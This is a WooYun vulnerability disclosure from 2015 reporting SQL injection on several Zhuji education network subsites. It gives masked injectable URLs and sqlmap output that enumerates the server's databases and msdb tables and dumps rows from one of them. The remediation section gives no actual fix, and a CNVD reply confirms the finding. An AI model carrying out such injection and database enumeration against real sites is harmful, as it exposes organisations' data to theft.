漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0136006
漏洞标题：诸暨教育网多个分站存在cookie注入漏洞，大量数据库泄露
相关厂商：cncert国家互联网应急中心
漏洞作者： 路人甲
提交时间：2015-08-25 10:21
修复时间：2015-10-10 20:14
公开时间：2015-10-10 20:14
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-25： 细节已通知厂商并且等待厂商处理中
2015-08-26： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-09-05： 细节向核心白帽子及相关领域专家公开
2015-09-15： 细节向普通白帽子公开
2015-09-25： 细节向实习白帽子公开
2015-10-10： 细节向公众公开
简要描述：
详细说明：
http://**.**.**.**/ErrReport.asp?SpecialID=148
http://**.**.**.**/play1/ListenUrls.asp?id=&name=qq107959
http://**.**.**.**/Singer.asp?http://**.**.**.**/Singer.asp?Classid=1&SClassid=&Nclassid=273
漏洞证明：
随便找个注入点跑下
http://**.**.**.**/ErrReport.asp?SpecialID=148
[02:58:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
[02:58:13] [INFO] fetching database names
[02:58:13] [INFO] the SQL query used returns 15 entries
[02:58:13] [INFO] resumed: "master","master"
[02:58:13] [INFO] resumed: "model","model"
[02:58:13] [INFO] resumed: "msdb","msdb"
[02:58:13] [INFO] resumed: "MusicHeaven","MusicHeaven"
[02:58:13] [INFO] resumed: "NetSchool","NetSchool"
[02:58:13] [INFO] resumed: "OMEssentials","OMEssentials"
[02:58:13] [INFO] resumed: "tempdb","tempdb"
[02:58:13] [INFO] resumed: "test","test"
[02:58:13] [INFO] resumed: "VAMT3","VAMT3"
[02:58:13] [INFO] resumed: "wd_ftp","wd_ftp"
[02:58:13] [INFO] resumed: "webdisk","webdisk"
[02:58:13] [INFO] resumed: "ZJJY_ASGRD_DB","ZJJY_ASGRD_DB"
[02:58:13] [INFO] resumed: "ZJJY_ASGRD2015_DB","ZJJY_ASGRD2015_DB"
[02:58:13] [INFO] resumed: "zjjy_EateryAccount","zjjy_EateryAccount"
[02:58:13] [INFO] resumed: "ZJJY_vRDDb2012","ZJJY_vRDDb2012"
available databases [15]:
[*] master
[*] model
[*] msdb
[*] MusicHeaven
[*] NetSchool
[*] OMEssentials
[*] tempdb
[*] test
[*] VAMT3
[*] wd_ftp
[*] webdisk
[*] ZJJY_ASGRD2015_DB
[*] ZJJY_ASGRD_DB
[*] zjjy_EateryAccount
[*] ZJJY_vRDDb2012
Database: msdb
[21 tables]
+--------------------------------------------+
| backupfile |
| backupmediafamily |
| backupmediaset |
| backupset |
| logmarkhistory |
| restorefile |
| restorefilegroup |
| restorehistory |
| suspect_pages |
| sysdac_instances |
| syspolicy_conditions |
| syspolicy_configuration |
| syspolicy_object_sets |
| syspolicy_policies |
| syspolicy_policy_categories |
| syspolicy_policy_category_subscriptions |
| syspolicy_policy_execution_history |
| syspolicy_policy_execution_history_details |
| syspolicy_system_health_state |
| syspolicy_target_set_levels |
| syspolicy_target_sets |
+--------------------------------------------+
随便跑下数据
Database: msdb
Table: backupset
[4494 entries]
+--------------------+
| database_name |
+--------------------+
[03:04:44] [WARNING] co
e table size
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
| MusicHeaven |
| NetSchool |
| test |
| wd_ftp |
| webdisk |
| zjjy_EateryAccount |
| ZJJY_vRDDb2012 |
有脱裤风险
修复方案：
你懂的
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2015-08-26 20:12
厂商回复：
CNVD确认并复现所述情况，已经转由CNCERT下发给浙江分中心，由其后续协调网站管理单位处置。
最新状态：
暂无